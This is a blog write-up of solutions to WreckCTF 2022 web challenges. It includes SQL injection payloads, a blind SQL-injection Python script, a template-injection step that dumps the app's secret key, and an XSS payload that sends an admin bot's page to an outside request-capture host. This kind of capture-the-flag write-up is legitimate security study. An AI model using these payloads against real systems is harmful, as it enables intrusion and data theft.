WreckCTF 2022

2022. 10. 3. 23:07ยท๐Ÿšฉ CTF/Former Doc

It's shame that I can't solve all challenge in web section. I must study harder.

โ— web/sources
You can check flag in DevTools,

Flag
flag{bd6a9e3f1690f7abb8445c0e}


โ— password-1
When you enter into "/api/outout" endpoint, can check the flag

Flag
flag{why_is_hashing_in_browser_so_hard}


โ— password-2
payload : 1' or 1=1--

Flag
flag{i_love_in_memory_sqlite}


โ— web/notes1

const add = (note) => {
    const id = crypto
        .createHash('sha256')
        .update(state.id.toString())
        .digest('hex');

    state.id += 1;

    notes.set(id, note);
    return id;
}

add(process.env.FLAG ?? 'flag missing!');

app.get('/view/:id', (req, res) => {
    const id = req.params.id;
    res.type('html');
    res.end(`
        <link rel="stylesheet" href="/style.css" />
        <div class="container">
            <h1>Note</h1>
            ${sanitize(notes.get(id) ?? 'Note does not exist!')}
        </div>
    `);
});

This is the most important part of the code. The "add" function encrypt id by using "sha-256" algorithm. And you can see the content with id which you want to see.

The Point :
1. This service puts flag into note whose id is "1".
2. In "Sha-256" Algorithms, it has always same result if you input same sentence.

So, first, I encrypt "1" by using "Sha-256" algorithms. Second, put the result into "/view/:id" endpoint.

Payload :
/view/6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

Flag
flag{technically_a_vulnerability}


โ— blog

# __init__.py
from . import auth
from . import blog
from . import db
import os

from flask import Flask, abort

app = Flask(__name__, instance_relative_config=True)
app.config.from_mapping(
    SECRET_KEY=open("flaskr/protected/burdellsecrets.txt").read(),
)

# ensure the instance folder exists
try:
    os.makedirs(app.instance_path)
except OSError:
    pass

db.init_db()

# ์ง์ ‘ ์ ‘๊ทผ์€ ๊ถŒํ•œ ์—๋Ÿฌ ๋œธ
@app.route('/flaskr/protected/<path:filename>')
def protected(filename):
    # root_path/protected/[filename]
    if os.path.exists(os.path.join(app.root_path, 'protected', filename)):
        abort(403)
    else:
        abort(404)


app.register_blueprint(auth.bp)

app.register_blueprint(blog.bp)
app.add_url_rule('/', endpoint='index')

"flaskr/protected/burdellsecrets.txt" is suspected to be flag. Let's check that file.

# blog.py
@bp.route('/postsuccess')
@login_required
def postsuccess():
    quicktemplate = """
    {% extends 'base.html' %}
    {% block header %}
        <h1>{% block title %}Success!{% endblock %}</h1>
        <a class="action" href="{{ url_for('blog.index') }}">Back</a>
    {% endblock %}

    {% block content %}
        <p>Post \"""" + request.args.get('title') + """\" created successfully. </p>
    {% endblock %}
    """
    return render_template_string(quicktemplate)

If I successfully upload a post, I can enter into "/postsuccess" endpoint. But there is no protection regard to parameter "title".

I thought I can do something by manipulating "title" parameter.

Got it. It has SSTI vulnerability. Flag is in "SECRET_KEY". So I enter "config.items()"

Flag
flag{I'm_not_real:)}


โ— password-3

// index.js
const crypto = require('crypto')
const database = require('better-sqlite3')
const express = require('express')
const app = express()

FLAG = process.env.FLAG ?? 'no flag set!'

const db = new database(':memory:')
const id = () => crypto.randomBytes(16).toString('hex')

app.use(express.static('public'))
app.use(express.json())

app.post('/password', (req, res) => {
    const password = (req.body.password ?? '').toString()
    const result = db.prepare(
        `SELECT password FROM passwords WHERE password='${password}';`
    ).get()
    if (result) res.json({
        success: true,
        message: (
            'Congrats on logging in! However, that\'s not enough... can you ' +
            'find the flag in the database this time?'
        ),
    })
    else res.json({ success: false })
})

db.exec(`
    CREATE TABLE passwords (
        password TEXT
    );

    INSERT INTO passwords (password) VALUES ('${id()}');
    INSERT INTO passwords (password) VALUES ('${id()}');
    INSERT INTO passwords (password) VALUES ('${id()}');
    INSERT INTO passwords (password) VALUES ('${FLAG}');
`)

app.listen(3000)

It seems that I can't get flag directly. I thought SQL Injection is useful in this problem.

I used "union select" to solve this problem. But I saw a better, cleaner code than me. So I post this code.

Exploit Code

import requests
import string
flag = "flag{"
sql = "' or  instr(password,'{}') > 0 and not '"


for i in range(30):
    for c in string.ascii_lowercase+"_":
        payload = sql.format(flag+c)
        print(payload)
        r = requests.post(
            "https://password-3.challs.wreckctf.com/password", json={"password": payload})
        content = r.json()
        print(content)
        if content["success"] == True:
            flag = flag + c
            print(flag)
            break

Flag
flag{whee_binary_search_sqli}


โ— web/notes-2

This problem gives 2 services.
It seems no flag in given code. I was confused because of it. I guessed flag is somewhere in admin's bot.

I could guess this is about XSS, because it gives admin bot service.

I put any sentence like this.

I can either reveal note of mine or move to previous note. This service has some javascript. Check it out.

<script>
    const button = document.querySelector('button');
    const content = document.querySelector('.content');
    button.addEventListener('click', () => {
        content.textContent = "This_is_test";
        button.remove();
    });

    const previous = localStorage.previous;
    const current = window.location.toString();

    const a = document.querySelector('a');
    if (previous) {
        a.href = previous;
    } else {
        a.remove()
    }
    localStorage.previous = current;
</script>

User's input gets reflected into property of "content.textContent". I can escape it and redirect to other page.

"; window.location="[user's site]";

This is not enough. Only this payload, I can't trigger by using bot. Because this can't trigger any admin's action.
So I used "onload" eventlistner.

";}); window.addEventListener('onload', () => { document.location="https://zehwfhf.request.dreamhack.games?s=".concat(btoa(unescape(encodeURIComponent(document.body.innerHTML))));//";

After the content was successfully uploaded, I send url which service made to admin bots. Then, I could get string which is base64-encrypted string.

PGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxoMT5Ob3RlPC9oMT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgIE5vdGUgaGlkZGVuIGZvciBzYWZldHkuLi4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgPGJ1dHRvbj5SZXZlYWwhPC9idXR0b24+CiAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwczovL25vdGVzLTIuY2hhbGxzLndyZWNrY3RmLmNvbS92aWV3L2FlMDZmNGYxZjRlOGQ4NzAwOTdiMDA0OTFhNWNjOTg1MmU2YWVhYWFmZWUwMzNhNDE0M2MxNzJmYWU0NTM4M2EiPlByZXZpb3VzIG5vdGUuLi48L2E+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgY29uc3QgYnV0dG9uID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignYnV0dG9uJyk7CiAgICAgICAgICAgICAgICBjb25zdCBjb250ZW50ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignLmNvbnRlbnQnKTsKICAgICAgICAgICAgICAgIGJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsICgpID0+IHsKICAgICAgICAgICAgICAgICAgICBjb250ZW50LnRleHRDb250ZW50ID0gIiI7fSk7ICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcignbG9hZCcsICgpID0
...
=======================   base64 decode  =============================
<div class="container">
                <h1>Note</h1>
                <div class="content">
                    Note hidden for safety...
                </div>
                <br>
                <button>Reveal!</button>
                <a href="https://notes-2.challs.wreckctf.com/view/ae06f4f1f4e8d870097b00491a5cc9852e6aeaaafee033a4143c172fae45383a">Previous note...</a>
            </div>
            <script>
                const button = document.querySelector('button');
                const content = document.querySelector('.content');
                button.addEventListener('click', () => {
                    content.textContent = "";});  window.addEventListener('load', () =
                    ...


I can get url in a tag. Flag is in there.

Flag
flag{context_dependent_sanitization}

์ €์ž‘์žํ‘œ์‹œ ๋น„์˜๋ฆฌ ๋ณ€๊ฒฝ๊ธˆ์ง€ (์ƒˆ์ฐฝ์—ด๋ฆผ)
'๐Ÿšฉ CTF/Former Doc' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
  • P4CTF 2022
  • TsuckuCTF 2022
  • CCE 2022 Review
  • BalsnCTF 2022
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • ๐Ÿšฉ CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • ๐Ÿ’ป Security (5)
      • ๐Ÿ–Œ๏ธ Theory (22)
        • WEB (9)
        • PWN (13)
      • ๐Ÿ“„ Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • ๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

    • ํ™ˆ
  • ๋งํฌ

  • ๊ณต์ง€์‚ฌํ•ญ

  • ์ธ๊ธฐ ๊ธ€

  • ํƒœ๊ทธ

    ubuntu ๋ช…๋ น์–ด
    pwntools
    justCTF
    Remote Code Execution
    RCE
    bug hunter
    Ubuntu ๊ธฐ์ดˆ ์…‹ํŒ…
    Crypto
    TFCCTF2022
    Deep learning
    Ubuntu ๊ธฐ์ดˆ
    Machine Learning
    Text Summarization
    bug report
    cache poisoning
    cache
    GPNCTF
    python
    TsukuCTF2022
    sqli
  • ์ตœ๊ทผ ๋Œ“๊ธ€

  • ์ตœ๊ทผ ๊ธ€

Cronus
WreckCTF 2022
์ƒ๋‹จ์œผ๋กœ

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”